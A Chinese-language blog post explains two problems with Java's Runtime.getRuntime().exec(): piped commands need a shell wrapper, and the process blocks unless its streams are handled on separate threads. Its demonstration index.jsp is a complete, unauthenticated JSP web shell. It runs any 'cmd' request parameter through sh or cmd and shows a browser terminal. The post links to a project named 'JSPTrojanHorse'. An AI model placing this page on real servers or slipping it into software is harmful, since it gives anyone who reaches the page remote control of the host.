Runtime.getRuntime().exec()執行阻塞和不能執行管道命令的問題
項目文件地址:https://github.com/muphy1112/JSPTrojanHorse/blob/main/Runtime.getRuntime.exec.example.jsp
1.不能執行管道命令的處理方式:
windows平台使用 Runtime.getRuntime().exec(new String[]{"cmd", "/k", "cmd str"});
linux平台使用 Runtime.getRuntime().exec(new String[]{"sh", "-c", "cmd str"});
下面是Process類的完整例子:
String[] cmds = new String[]{"sh", "-c", "cmd str"}; if (System.getProperty("os.name").toLowerCase().contains("windows")) { cmds = new String[]{"cmd", "/k", "cmd str"}; } Process ps = null; try { ps = Runtime.getRuntime().exec(cmds); doInputProcess(ps.getIntputStream()); doErrorProcess(ps.getErrorStream()); doOutProcess(ps.getOutputStream());
// System.out.println("start."); ps.waitFor();
// System.out.println("done."); } catch (Exception e) { // } finally{ try { if(ps != null)
ps.destroy(); } catch (Exception ec) { // } }
2.執行阻塞問題
必須要同時處理完輸入流process.getInputStream()和輸出流process.getOutputStream(),錯誤流process.getErrorStream()可以不用考慮,並且每個流都需要工作在不同的線程,否則上例中的ps.waitFor();后面的語句永遠不會被執行!
我們可以把上例寫個JSP web項目驗證一下
新建index.jsp文件放在share項目下,代碼如下:
<%@page import="java.io.*" contentType="text/html; charset=UTF-8" %> <%@page import="java.lang.StringBuilder" contentType="text/html; charset=UTF-8" %> <!DOCTYPE html> <html> <head> <title>Runtime.getRuntime().exec()</title> </head> <body> <%! void inputProcess(final InputStream in, final JspWriter out, String name){ //必須是新線程 new Thread(new Runnable() { @Override public void run() { if(in == null) return; try { int a = -1; byte[] b = new byte[2048]; while ((a = in.read(b)) != -1) { out.println(new String(b)); } } catch (Exception e) { } finally{ try { if(in != null ) in.close(); } catch (Exception ec) { } } } }, name).start(); } void doInputProcess(InputStream in, JspWriter out){ inputProcess(in, out, "inputProcess"); } void doErrorProcess(InputStream in, JspWriter out){ inputProcess(in, out, "errProcess"); } void doOutputProcess(OutputStream out){ try { out.close();//直接關閉流 } catch (Exception ec) { } } %> <% String cmd = request.getParameter("cmd"); if(cmd != null && !"".equals(cmd)){ String[] cmds = new String[]{"sh", "-c", cmd}; if (System.getProperty("os.name").toLowerCase().contains("windows")) { cmds = new String[]{"cmd", "/k", cmd}; } Process ps = null; try { ps = Runtime.getRuntime().exec(cmds); out.println("start."); out.println("<pre>"); doInputProcess(ps.getInputStream(), out); doErrorProcess(ps.getErrorStream(), out); doOutputProcess(ps.getOutputStream()); ps.waitFor(); out.println("</pre>"); out.println("done."); } catch (Exception e) { out.println("err."); } finally{ try { if(ps != null) ps.destroy(); } catch (Exception ec) { } } return; } if("true".equals(request.getParameter("c"))){ return; } out.println("<div style='margin: 20px'>虛擬終端:<input id='command' type='text' value='netstat -an' style='width: 250px;border: none;color: red;background-color: black;'/>" + "<a style='color: blue' onclick=\"var m= top.document.getElementById('command').value;if(!m) return false; top.document.getElementById('view-file').setAttribute('src', './index.jsp?cmd=' + encodeURIComponent(m));\" href=\"#\">執行</a>" + "</div>"); out.println("<div style='margin-top: 20px; padding: 5px; height: 500px'>" + "<iframe id='view-file' src='./index.jsp?c=true' height='100%' style='width: 100%; height: 100%' frameborder='0'></iframe>" + "</div>"); %> </body> </html>
瀏覽器訪問當前JSP文件,輸入網址:http://localhost:8080/share/index.jsp
正常執行上面的index.jsp腳本,輸入一個命令ipa,服務器相應了200,說明后台沒被阻塞
當我們將index.jsp中標紅的“doOutputProcess(ps.getOutputStream());”這行代碼注釋掉之后,在執行同一個命令,會發現請求一直處於阻塞狀態,done.也沒有被打印下來
總結此問題,要想Runtime.getRuntime().exec()這個進程正常退出,不被阻塞,需要配合多個線程,並至少關閉ps.getInputStream()和ps.getOutputStream()兩個輸入輸出流